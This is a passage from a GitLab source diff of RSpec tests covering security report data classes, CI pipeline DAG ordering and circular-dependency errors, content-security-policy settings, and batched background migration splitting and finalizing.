+ end_time: 'placholder'
+ }
+ end
+
+ context 'when all params are given' do
+ it 'initializes an instance' do
+ expect { subject }.not_to raise_error
+
+ expect(subject).to have_attributes(
+ status: 'success',
+ type: 'dependency-scanning',
+ start_time: 'placeholer',
+ end_time: 'placholder'
+ )
+ end
+ end
+
+ describe '#to_hash' do
+ subject { described_class.new(params.with_indifferent_access).to_hash }
+
+ it 'returns expected hash' do
+ is_expected.to eq(
+ {
+ status: 'success',
+ type: 'dependency-scanning',
+ start_time: 'placeholer',
+ end_time: 'placholder'
+ }
+ )
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/security/scanned_resource_spec.rb b/spec/lib/gitlab/ci/reports/security/scanned_resource_spec.rb
new file mode 100644
index 00000000000..e9daa05e8b9
--- /dev/null
+++ b/spec/lib/gitlab/ci/reports/security/scanned_resource_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Reports::Security::ScannedResource do
+ let(:url) { 'http://example.com:3001/1?foo=bar' }
+ let(:request_method) { 'GET' }
+
+ context 'when the URI is not a URI' do
+ subject { ::Gitlab::Ci::Reports::Security::ScannedResource.new(url, request_method) }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ArgumentError)
+ end
+ end
+
+ context 'when the URL is valid' do
+ subject { ::Gitlab::Ci::Reports::Security::ScannedResource.new(URI.parse(url), request_method) }
+
+ it 'sets the URL attributes' do
+ expect(subject.request_method).to eq(request_method)
+ expect(subject.request_uri.to_s).to eq(url)
+ expect(subject.url_scheme).to eq('http')
+ expect(subject.url_host).to eq('example.com')
+ expect(subject.url_port).to eq(3001)
+ expect(subject.url_path).to eq('/1')
+ expect(subject.url_query).to eq('foo=bar')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/security/scanner_spec.rb b/spec/lib/gitlab/ci/reports/security/scanner_spec.rb
new file mode 100644
index 00000000000..99f5d4723d3
--- /dev/null
+++ b/spec/lib/gitlab/ci/reports/security/scanner_spec.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Reports::Security::Scanner do
+ describe '#initialize' do
+ subject { described_class.new(**params) }
+
+ let(:params) do
+ {
+ external_id: 'brakeman',
+ name: 'Brakeman',
+ vendor: 'GitLab',
+ version: '1.0.1'
+ }
+ end
+
+ context 'when all params are given' do
+ it 'initializes an instance' do
+ expect { subject }.not_to raise_error
+
+ expect(subject).to have_attributes(
+ external_id: 'brakeman',
+ name: 'Brakeman',
+ vendor: 'GitLab'
+ )
+ end
+ end
+
+ %i[external_id name].each do |attribute|
+ context "when attribute #{attribute} is missing" do
+ before do
+ params.delete(attribute)
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ArgumentError)
+ end
+ end
+ end
+ end
+
+ describe '#key' do
+ let(:scanner) { create(:ci_reports_security_scanner) }
+
+ subject { scanner.key }
+
+ it 'returns external_id' do
+ is_expected.to eq(scanner.external_id)
+ end
+ end
+
+ describe '#to_hash' do
+ let(:scanner) { create(:ci_reports_security_scanner) }
+
+ subject { scanner.to_hash }
+
+ it 'returns expected hash' do
+ is_expected.to eq({
+ external_id: scanner.external_id,
+ name: scanner.name,
+ vendor: scanner.vendor
+ })
+ end
+
+ context 'when vendor is not defined' do
+ let(:scanner) { create(:ci_reports_security_scanner, vendor: nil) }
+
+ it 'returns expected hash' do
+ is_expected.to eq({
+ external_id: scanner.external_id,
+ name: scanner.name
+ })
+ end
+ end
+ end
+
+ describe '#==' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:id_1, :id_2, :equal, :case_name) do
+ 'brakeman' | 'brakeman' | true | 'when external_id is equal'
+ 'brakeman' | 'bandit' | false | 'when external_id is different'
+ end
+
+ with_them do
+ let(:scanner_1) { create(:ci_reports_security_scanner, external_id: id_1) }
+ let(:scanner_2) { create(:ci_reports_security_scanner, external_id: id_2) }
+
+ it "returns #{params[:equal]}" do
+ expect(scanner_1 == scanner_2).to eq(equal)
+ end
+ end
+ end
+
+ describe '#<=>' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:scanner_1) { create(:ci_reports_security_scanner, **scanner_1_attributes) }
+ let(:scanner_2) { create(:ci_reports_security_scanner, **scanner_2_attributes) }
+
+ subject { scanner_1 <=> scanner_2 }
+
+ context 'when the `external_id` of the scanners are different' do
+ where(:scanner_1_attributes, :scanner_2_attributes, :expected_comparison_result) do
+ { external_id: 'bundler_audit', name: 'foo', vendor: 'bar' } | { external_id: 'retire.js', name: 'foo', vendor: 'bar' } | -1
+ { external_id: 'retire.js', name: 'foo', vendor: 'bar' } | { external_id: 'gemnasium', name: 'foo', vendor: 'bar' } | -1
+ { external_id: 'gemnasium', name: 'foo', vendor: 'bar' } | { external_id: 'gemnasium-maven', name: 'foo', vendor: 'bar' } | -1
+ { external_id: 'gemnasium-maven', name: 'foo', vendor: 'bar' } | { external_id: 'gemnasium-python', name: 'foo', vendor: 'bar' } | -1
+ { external_id: 'gemnasium-python', name: 'foo', vendor: 'bar' } | { external_id: 'bandit', name: 'foo', vendor: 'bar' } | 1
+ { external_id: 'bandit', name: 'foo', vendor: 'bar' } | { external_id: 'semgrep', name: 'foo', vendor: 'bar' } | -1
+ { external_id: 'semgrep', name: 'foo', vendor: 'bar' } | { external_id: 'unknown', name: 'foo', vendor: 'bar' } | -1
+ { external_id: 'gemnasium', name: 'foo', vendor: 'bar' } | { external_id: 'gemnasium', name: 'foo', vendor: nil } | 1
+ end
+
+ with_them do
+ it { is_expected.to eq(expected_comparison_result) }
+ end
+ end
+
+ context 'when the `external_id` of the scanners are equal' do
+ context 'when the `name` of the scanners are different' do
+ where(:scanner_1_attributes, :scanner_2_attributes, :expected_comparison_result) do
+ { external_id: 'gemnasium', name: 'a', vendor: 'bar' } | { external_id: 'gemnasium', name: 'b', vendor: 'bar' } | -1
+ { external_id: 'gemnasium', name: 'd', vendor: 'bar' } | { external_id: 'gemnasium', name: 'c', vendor: 'bar' } | 1
+ end
+
+ with_them do
+ it { is_expected.to eq(expected_comparison_result) }
+ end
+ end
+
+ context 'when the `name` of the scanners are equal' do
+ where(:scanner_1_attributes, :scanner_2_attributes, :expected_comparison_result) do
+ { external_id: 'gemnasium', name: 'foo', vendor: 'a' } | { external_id: 'gemnasium', name: 'foo', vendor: 'a' } | 0 # rubocop:disable Lint/BinaryOperatorWithIdenticalOperands
+ { external_id: 'gemnasium', name: 'foo', vendor: 'a' } | { external_id: 'gemnasium', name: 'foo', vendor: 'b' } | -1
+ { external_id: 'gemnasium', name: 'foo', vendor: 'b' } | { external_id: 'gemnasium', name: 'foo', vendor: 'a' } | 1
+ end
+
+ with_them do
+ it { is_expected.to eq(expected_comparison_result) }
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/test_case_spec.rb b/spec/lib/gitlab/ci/reports/test_case_spec.rb
index 668a475514e..d21359368b8 100644
--- a/spec/lib/gitlab/ci/reports/test_case_spec.rb
+++ b/spec/lib/gitlab/ci/reports/test_case_spec.rb
@@ -66,7 +66,7 @@ RSpec.describe Gitlab::Ci::Reports::TestCase, :aggregate_failures do
end
it '#attachment_url' do
- expect(attachment_test_case.attachment_url).to match(/file\/some\/path.png/)
+ expect(attachment_test_case.attachment_url).to match(%r{file/some/path.png})
end
end
diff --git a/spec/lib/gitlab/ci/status/composite_spec.rb b/spec/lib/gitlab/ci/status/composite_spec.rb
index 2b9523bd83d..cceabc35e85 100644
--- a/spec/lib/gitlab/ci/status/composite_spec.rb
+++ b/spec/lib/gitlab/ci/status/composite_spec.rb
@@ -82,25 +82,6 @@ RSpec.describe Gitlab::Ci::Status::Composite do
it_behaves_like 'compares status and warnings'
end
-
- context 'when FF ci_fix_pipeline_status_for_dag_needs_manual is disabled' do
- before do
- stub_feature_flags(ci_fix_pipeline_status_for_dag_needs_manual: false)
- end
-
- where(:build_statuses, :dag, :result, :has_warnings) do
- %i(success manual) | true | 'pending' | false
- %i(success manual) | false | 'success' | false
- end
-
- with_them do
- let(:all_statuses) do
- build_statuses.map { |status| @statuses_with_allow_failure[status] }
- end
-
- it_behaves_like 'compares status and warnings'
- end
- end
end
end
end
diff --git a/spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb
index 653b3be0b2a..e8aeb93a2ba 100644
--- a/spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe 'Deploy-ECS.gitlab-ci.yml' do
subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('AWS/Deploy-ECS') }
describe 'the created pipeline' do
- let(:default_branch) { 'master' }
+ let(:default_branch) { project.default_branch_or_main }
let(:pipeline_branch) { default_branch }
let(:project) { create(:project, :auto_devops, :custom_repo, files: { 'README.md' => '' }) }
let(:user) { project.owner }
@@ -38,7 +38,7 @@ RSpec.describe 'Deploy-ECS.gitlab-ci.yml' do
let(:pipeline_branch) { 'test_branch' }
before do
- project.repository.create_branch(pipeline_branch)
+ project.repository.create_branch(pipeline_branch, default_branch)
end
it_behaves_like 'no pipeline yaml error'
diff --git a/spec/lib/gitlab/ci/templates/managed_cluster_applications_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/managed_cluster_applications_gitlab_ci_yaml_spec.rb
index 0e458e01a2c..151880e27a3 100644
--- a/spec/lib/gitlab/ci/templates/managed_cluster_applications_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/managed_cluster_applications_gitlab_ci_yaml_spec.rb
@@ -12,7 +12,8 @@ RSpec.describe 'Managed-Cluster-Applications.gitlab-ci.yml' do
let(:service) { Ci::CreatePipelineService.new(project, user, ref: pipeline_branch ) }
let(:pipeline) { service.execute!(:push) }
let(:build_names) { pipeline.builds.pluck(:name) }
- let(:pipeline_branch) { 'master' }
+ let(:default_branch) { project.default_branch_or_main }
+ let(:pipeline_branch) { default_branch }
before do
stub_ci_pipeline_yaml_file(template.content)
@@ -28,7 +29,7 @@ RSpec.describe 'Managed-Cluster-Applications.gitlab-ci.yml' do
let(:pipeline_branch) { 'a_branch' }
before do
- project.repository.create_branch(pipeline_branch)
+ project.repository.create_branch(pipeline_branch, default_branch)
end
it 'has no jobs' do
diff --git a/spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb
index 4377f155d34..5ab3035486f 100644
--- a/spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe 'Terraform.latest.gitlab-ci.yml' do
subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('Terraform.latest') }
describe 'the created pipeline' do
- let(:default_branch) { 'master' }
+ let(:default_branch) { project.default_branch_or_main }
let(:pipeline_branch) { default_branch }
let(:project) { create(:project, :custom_repo, files: { 'README.md' => '' }) }
let(:user) { project.owner }
@@ -34,7 +34,7 @@ RSpec.describe 'Terraform.latest.gitlab-ci.yml' do
let(:pipeline_branch) { 'patch-1' }
before do
- project.repository.create_branch(pipeline_branch)
+ project.repository.create_branch(pipeline_branch, default_branch)
end
it 'does not creates a deploy and a test job' do
diff --git a/spec/lib/gitlab/ci/yaml_processor/dag_spec.rb b/spec/lib/gitlab/ci/yaml_processor/dag_spec.rb
new file mode 100644
index 00000000000..af1b43f6b01
--- /dev/null
+++ b/spec/lib/gitlab/ci/yaml_processor/dag_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Gitlab::Ci::YamlProcessor::Dag do
+ let(:nodes) { {} }
+
+ subject(:result) { described_class.new(nodes).tsort }
+
+ context 'when it is a regular pipeline' do
+ let(:nodes) do
+ { 'job_c' => %w(job_b job_d), 'job_d' => %w(job_a), 'job_b' => %w(job_a), 'job_a' => %w() }
+ end
+
+ it 'returns ordered jobs' do
+ expect(result).to eq(%w(job_a job_b job_d job_c))
+ end
+ end
+
+ context 'when there is a circular dependency' do
+ let(:nodes) do
+ { 'job_a' => %w(job_c), 'job_b' => %w(job_a), 'job_c' => %w(job_b) }
+ end
+
+ it 'raises TSort::Cyclic' do
+ expect { result }.to raise_error(TSort::Cyclic, /topological sort failed/)
+ end
+ end
+
+ context 'when there is a missing job' do
+ let(:nodes) do
+ { 'job_a' => %w(job_d), 'job_b' => %w(job_a) }
+ end
+
+ it 'raises MissingNodeError' do
+ expect { result }.to raise_error(
+ Gitlab::Ci::YamlProcessor::Dag::MissingNodeError, 'node job_d is missing'
+ )
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/yaml_processor_spec.rb b/spec/lib/gitlab/ci/yaml_processor_spec.rb
index e8e44f884cf..19c2e34a0f0 100644
--- a/spec/lib/gitlab/ci/yaml_processor_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor_spec.rb
@@ -595,7 +595,15 @@ module Gitlab
EOYML
end
- it_behaves_like 'has warnings and expected error', /build job: need test is not defined in prior stages/
+ it_behaves_like 'has warnings and expected error', /build job: need test is not defined in current or prior stages/
+
+ context 'with ci_same_stage_job_needs FF disabled' do
+ before do
+ stub_feature_flags(ci_same_stage_job_needs: false)
+ end
+
+ it_behaves_like 'has warnings and expected error', /build job: need test is not defined in prior stages/
+ end
end
end
end
@@ -1648,8 +1656,6 @@ module Gitlab
end
it 'populates a build options with complete artifacts configuration' do
- stub_feature_flags(ci_artifacts_exclude: true)
-
config = <<~YAML
test:
script: echo "Hello World"
@@ -1860,7 +1866,7 @@ module Gitlab
build2: { stage: 'build', script: 'test' },
test1: { stage: 'test', script: 'test', dependencies: dependencies },
test2: { stage: 'test', script: 'test' },
- deploy: { stage: 'test', script: 'test' }
+ deploy: { stage: 'deploy', script: 'test' }
}
end
@@ -1893,7 +1899,15 @@ module Gitlab
context 'dependencies to deploy' do
let(:dependencies) { ['deploy'] }
- it_behaves_like 'returns errors', 'test1 job: dependency deploy is not defined in prior stages'
+ it_behaves_like 'returns errors', 'test1 job: dependency deploy is not defined in current or prior stages'
+
+ context 'with ci_same_stage_job_needs FF disabled' do
+ before do
+ stub_feature_flags(ci_same_stage_job_needs: false)
+ end
+
+ it_behaves_like 'returns errors', 'test1 job: dependency deploy is not defined in prior stages'
+ end
end
context 'when a job depends on another job that references a not-yet defined stage' do
@@ -1918,7 +1932,7 @@ module Gitlab
}
end
- it_behaves_like 'returns errors', /is not defined in prior stages/
+ it_behaves_like 'returns errors', /is not defined in current or prior stages/
end
end
@@ -1933,7 +1947,7 @@ module Gitlab
parallel: { stage: 'build', script: 'test', parallel: 2 },
test1: { stage: 'test', script: 'test', needs: needs, dependencies: dependencies },
test2: { stage: 'test', script: 'test' },
- deploy: { stage: 'test', script: 'test' }
+ deploy: { stage: 'deploy', script: 'test' }
}
end
@@ -1943,6 +1957,45 @@ module Gitlab
it { is_expected.to be_valid }
end
+ context 'needs a job from the same stage' do
+ let(:needs) { %w(test2) }
+
+ it 'creates jobs with valid specifications' do
+ expect(subject.builds.size).to eq(7)
+ expect(subject.builds[0]).to eq(
+ stage: 'build',
+ stage_idx: 1,
+ name: 'build1',
+ only: { refs: %w[branches tags] },
+ options: {
+ script: ['test']
+ },
+ when: 'on_success',
+ allow_failure: false,
+ yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
+ scheduling_type: :stage
+ )
+ expect(subject.builds[4]).to eq(
+ stage: 'test',
+ stage_idx: 2,
+ name: 'test1',
+ only: { refs: %w[branches tags] },
+ options: { script: ['test'] },
+ needs_attributes: [
+ { name: 'test2', artifacts: true, optional: false }
+ ],
+ when: 'on_success',
+ allow_failure: false,
+ yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
+ scheduling_type: :dag
+ )
+ end
+ end
+
context 'needs two builds' do
let(:needs) { %w(build1 build2) }
@@ -2098,7 +2151,15 @@ module Gitlab
context 'needs to deploy' do
let(:needs) { ['deploy'] }
- it_behaves_like 'returns errors', 'test1 job: need deploy is not defined in prior stages'
+ it_behaves_like 'returns errors', 'test1 job: need deploy is not defined in current or prior stages'
+
+ context 'with ci_same_stage_job_needs FF disabled' do
+ before do
+ stub_feature_flags(ci_same_stage_job_needs: false)
+ end
+
+ it_behaves_like 'returns errors', 'test1 job: need deploy is not defined in prior stages'
+ end
end
context 'needs and dependencies that are mismatching' do
@@ -2769,6 +2830,29 @@ module Gitlab
it_behaves_like 'returns errors', 'jobs:rspec:parallel should be an integer or a hash'
end
+
+ context 'when the pipeline has a circular dependency' do
+ let(:config) do
+ <<~YAML
+ job_a:
+ stage: test
+ script: build
+ needs: [job_c]
+
+ job_b:
+ stage: test
+ script: test
+ needs: [job_a]
+
+ job_c:
+ stage: test
+ script: deploy
+ needs: [job_b]
+ YAML
+ end
+
+ it_behaves_like 'returns errors', 'The pipeline has circular dependencies.'
+ end
end
describe '#execute' do
diff --git a/spec/lib/gitlab/closing_issue_extractor_spec.rb b/spec/lib/gitlab/closing_issue_extractor_spec.rb
index 37349c30224..279486aa2a1 100644
--- a/spec/lib/gitlab/closing_issue_extractor_spec.rb
+++ b/spec/lib/gitlab/closing_issue_extractor_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::ClosingIssueExtractor do
let_it_be(:project2) { create(:project) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:issue2) { create(:issue, project: project2) }
+
let(:reference) { issue.to_reference }
let(:cross_reference) { issue2.to_reference(project) }
@@ -351,6 +352,7 @@ RSpec.describe Gitlab::ClosingIssueExtractor do
context 'with multiple references' do
let_it_be(:other_issue) { create(:issue, project: project) }
let_it_be(:third_issue) { create(:issue, project: project) }
+
let(:reference2) { other_issue.to_reference }
let(:reference3) { third_issue.to_reference }
diff --git a/spec/lib/gitlab/composer/cache_spec.rb b/spec/lib/gitlab/composer/cache_spec.rb
index 00318ac14f9..071771960c6 100644
--- a/spec/lib/gitlab/composer/cache_spec.rb
+++ b/spec/lib/gitlab/composer/cache_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::Composer::Cache do
let_it_be(:json) { { 'name' => package_name } }
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :custom_repo, files: { 'composer.json' => json.to_json }, group: group) }
+
let(:branch) { project.repository.find_branch('master') }
let(:sha_regex) { /^[A-Fa-f0-9]{64}$/ }
diff --git a/spec/lib/gitlab/consul/internal_spec.rb b/spec/lib/gitlab/consul/internal_spec.rb
index 5889dd8b41d..28dcaac9ff2 100644
--- a/spec/lib/gitlab/consul/internal_spec.rb
+++ b/spec/lib/gitlab/consul/internal_spec.rb
@@ -134,6 +134,6 @@ RSpec.describe Gitlab::Consul::Internal do
end
def stub_consul_discover_prometheus
- stub_request(:get, /v1\/catalog\/service\/prometheus/)
+ stub_request(:get, %r{v1/catalog/service/prometheus})
end
end
diff --git a/spec/lib/gitlab/content_security_policy/config_loader_spec.rb b/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
index d08057fb10a..8e63e771caa 100644
--- a/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
+++ b/spec/lib/gitlab/content_security_policy/config_loader_spec.rb
@@ -61,6 +61,36 @@ RSpec.describe Gitlab::ContentSecurityPolicy::ConfigLoader do
expect(directives['font_src']).to eq("'self' https://example.com")
end
end
+
+ context 'when CUSTOMER_PORTAL_URL is set' do
+ before do
+ stub_env('CUSTOMER_PORTAL_URL', 'https://customers.example.com')
+ end
+
+ context 'when in production' do
+ before do
+ allow(Rails).to receive(:env).and_return(ActiveSupport::StringInquirer.new('production'))
+ end
+
+ it 'does not add CUSTOMER_PORTAL_URL to CSP' do
+ directives = settings['directives']
+
+ expect(directives['frame_src']).to eq("'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com")
+ end
+ end
+
+ context 'when in development' do
+ before do
+ allow(Rails).to receive(:env).and_return(ActiveSupport::StringInquirer.new('development'))
+ end
+
+ it 'adds CUSTOMER_PORTAL_URL to CSP' do
+ directives = settings['directives']
+
+ expect(directives['frame_src']).to eq("'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://customers.example.com")
+ end
+ end
+ end
end
describe '#load' do
diff --git a/spec/lib/gitlab/database/background_migration/batched_job_spec.rb b/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
index 2de784d3e16..0182e0f7651 100644
--- a/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_job_spec.rb
@@ -124,4 +124,84 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedJob, type: :model d
end
end
end
+
+ describe '#split_and_retry!' do
+ let!(:job) { create(:batched_background_migration_job, batch_size: 10, min_value: 6, max_value: 15, status: :failed, attempts: 3) }
+
+ context 'when job can be split' do
+ before do
+ allow_next_instance_of(Gitlab::BackgroundMigration::BatchingStrategies::PrimaryKeyBatchingStrategy) do |batch_class|
+ allow(batch_class).to receive(:next_batch).with(anything, anything, batch_min_value: 6, batch_size: 5).and_return([6, 10])
+ end
+ end
+
+ it 'sets the correct attributes' do
+ expect { job.split_and_retry! }.to change { described_class.count }.by(1)
+
+ expect(job).to have_attributes(
+ min_value: 6,
+ max_value: 10,
+ batch_size: 5,
+ status: 'failed',
+ attempts: 0,
+ started_at: nil,
+ finished_at: nil,
+ metrics: {}
+ )
+
+ new_job = described_class.last
+
+ expect(new_job).to have_attributes(
+ batched_background_migration_id: job.batched_background_migration_id,
+ min_value: 11,
+ max_value: 15,
+ batch_size: 5,
+ status: 'failed',
+ attempts: 0,
+ started_at: nil,
+ finished_at: nil,
+ metrics: {}
+ )
+ expect(new_job.created_at).not_to eq(job.created_at)
+ end
+
+ it 'splits the jobs into retriable jobs' do
+ migration = job.batched_migration
+
+ expect { job.split_and_retry! }.to change { migration.batched_jobs.retriable.count }.from(0).to(2)
+ end
+ end
+
+ context 'when job is not failed' do
+ let!(:job) { create(:batched_background_migration_job, status: :succeeded) }
+
+ it 'raises an exception' do
+ expect { job.split_and_retry! }.to raise_error 'Only failed jobs can be split'
+ end
+ end
+
+ context 'when batch size is already 1' do
+ let!(:job) { create(:batched_background_migration_job, batch_size: 1, status: :failed) }
+
+ it 'raises an exception' do
+ expect { job.split_and_retry! }.to raise_error 'Job cannot be split further'
+ end
+ end
+
+ context 'when computed midpoint is larger than the max value of the batch' do
+ before do
+ allow_next_instance_of(Gitlab::BackgroundMigration::BatchingStrategies::PrimaryKeyBatchingStrategy) do |batch_class|
+ allow(batch_class).to receive(:next_batch).with(anything, anything, batch_min_value: 6, batch_size: 5).and_return([6, 16])
+ end
+ end
+
+ it 'lowers the batch size and resets the number of attempts' do
+ expect { job.split_and_retry! }.not_to change { described_class.count }
+
+ expect(job.batch_size).to eq(5)
+ expect(job.attempts).to eq(0)
+ expect(job.status).to eq('failed')
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb b/spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb
index 9f0493ab0d7..779e8e40c97 100644
--- a/spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb
@@ -281,4 +281,152 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigrationRunner do
end
end
end
+
+ describe '#finalize' do
+ let(:migration_wrapper) { Gitlab::Database::BackgroundMigration::BatchedMigrationWrapper.new }
+
+ let(:migration_helpers) { ActiveRecord::Migration.new }
+ let(:table_name) { :_batched_migrations_test_table }
+ let(:column_name) { :some_id }
+ let(:job_arguments) { [:some_id, :some_id_convert_to_bigint] }
+
+ let(:migration_status) { :active }
+
+ let!(:batched_migration) do
+ create(
+ :batched_background_migration,
+ status: migration_status,
+ max_value: 8,
+ batch_size: 2,
+ sub_batch_size: 1,
+ interval: 0,
+ table_name: table_name,
+ column_name: column_name,
+ job_arguments: job_arguments,
+ pause_ms: 0
+ )
+ end
+
+ before do
+ migration_helpers.drop_table table_name, if_exists: true
+ migration_helpers.create_table table_name, id: false do |t|
+ t.integer :some_id, primary_key: true
+ t.integer :some_id_convert_to_bigint
+ end
+
+ migration_helpers.execute("INSERT INTO #{table_name} VALUES (1, 1), (2, 2), (3, NULL), (4, NULL), (5, NULL), (6, NULL), (7, NULL), (8, NULL)")
+ end
+
+ after do
+ migration_helpers.drop_table table_name, if_exists: true
+ end
+
+ context 'when the migration is not yet completed' do
+ before do
+ common_attributes = {
+ batched_migration: batched_migration,
+ batch_size: 2,
+ sub_batch_size: 1,
+ pause_ms: 0
+ }
+
+ create(:batched_background_migration_job, common_attributes.merge(status: :succeeded, min_value: 1, max_value: 2))
+ create(:batched_background_migration_job, common_attributes.merge(status: :pending, min_value: 3, max_value: 4))
+ create(:batched_background_migration_job, common_attributes.merge(status: :failed, min_value: 5, max_value: 6, attempts: 1))
+ end
+
+ it 'completes the migration' do
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigration).to receive(:find_for_configuration)
+ .with('CopyColumnUsingBackgroundMigrationJob', table_name, column_name, job_arguments)
+ .and_return(batched_migration)
+
+ expect(batched_migration).to receive(:finalizing!).and_call_original
+
+ expect do
+ runner.finalize(
+ batched_migration.job_class_name,
+ table_name,
+ column_name,
+ job_arguments
+ )
+ end.to change { batched_migration.reload.status }.from('active').to('finished')
+
+ expect(batched_migration.batched_jobs).to all(be_succeeded)
+
+ not_converted = migration_helpers.execute("SELECT * FROM #{table_name} WHERE some_id_convert_to_bigint IS NULL")
+ expect(not_converted.to_a).to be_empty
+ end
+
+ context 'when migration fails to complete' do
+ it 'raises an error' do
+ batched_migration.batched_jobs.failed.update_all(attempts: Gitlab::Database::BackgroundMigration::BatchedJob::MAX_ATTEMPTS)
+
+ expect do
+ runner.finalize(
+ batched_migration.job_class_name,
+ table_name,
+ column_name,
+ job_arguments
+ )
+ end.to raise_error described_class::FailedToFinalize
+ end
+ end
+ end
+
+ context 'when the migration is already finished' do
+ let(:migration_status) { :finished }
+
+ it 'is a no-op' do
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigration).to receive(:find_for_configuration)
+ .with('CopyColumnUsingBackgroundMigrationJob', table_name, column_name, job_arguments)
+ .and_return(batched_migration)
+
+ configuration = {
+ job_class_name: batched_migration.job_class_name,
+ table_name: table_name.to_sym,
+ column_name: column_name.to_sym,
+ job_arguments: job_arguments
+ }
+
+ expect(Gitlab::AppLogger).to receive(:warn)
+ .with("Batched background migration for the given configuration is already finished: #{configuration}")
+
+ expect(batched_migration).not_to receive(:finalizing!)
+
+ runner.finalize(
+ batched_migration.job_class_name,
+ table_name,
+ column_name,
+ job_arguments
+ )
+ end
+ end
+
+ context 'when the migration does not exist' do
+ it 'is a no-op' do
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigration).to receive(:find_for_configuration)
+ .with('CopyColumnUsingBackgroundMigrationJob', table_name, column_name, [:some, :other, :arguments])
+ .and_return(nil)
+
+ configuration = {
+ job_class_name: batched_migration.job_class_name,
+ table_name: table_name.to_sym,
+ column_name: column_name.to_sym,
+ job_arguments: [:some, :other, :arguments]
+ }
+
+ expect(Gitlab::AppLogger).to receive(:warn)
+ .with("Could not find batched background migration for the given configuration: #{configuration}")
+
+ expect(batched_migration).not_to receive(:finalizing!)
+
+ runner.finalize(
+ batched_migration.job_class_name,
+ table_name,
+ column_name,
+ [:some, :other, :arguments]
+ )
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb b/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
index d881390cd52..3207e97a639 100644
--- a/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
@@ -10,11 +10,11 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
describe '#last_job' do
let!(:batched_migration) { create(:batched_background_migration) }
- let!(:batched_job1) { create(:batched_background_migration_job, batched_migration: batched_migration) }
- let!(:batched_job2) { create(:batched_background_migration_job, batched_migration: batched_migration) }
+ let!(:batched_job1) { create(:batched_background_migration_job, batched_migration: batched_migration, max_value: 1000) }
+ let!(:batched_job2) { create(:batched_background_migration_job, batched_migration: batched_migration, max_value: 500) }
- it 'returns the most recent (in order of id) batched job' do
- expect(batched_migration.last_job).to eq(batched_job2)
+ it 'returns the batched job with highest max_value' do
+ expect(batched_migration.last_job).to eq(batched_job1)
end
end
end
@@ -387,4 +387,22 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
expect(actual).to contain_exactly(migration)
end
end
+
+ describe '.find_for_configuration' do
+ it 'returns nill if such migration does not exists' do
+ expect(described_class.find_for_configuration('MyJobClass', :projects, :id, [[:id], [:id_convert_to_bigint]])).to be_nil
+ end
+
+ it 'returns the migration when it exists' do
+ migration = create(
+ :batched_background_migration,
+ job_class_name: 'MyJobClass',
+ table_name: :projects,
+ column_name: :id,
+ job_arguments: [[:id], [:id_convert_to_bigint]]
+ )
+
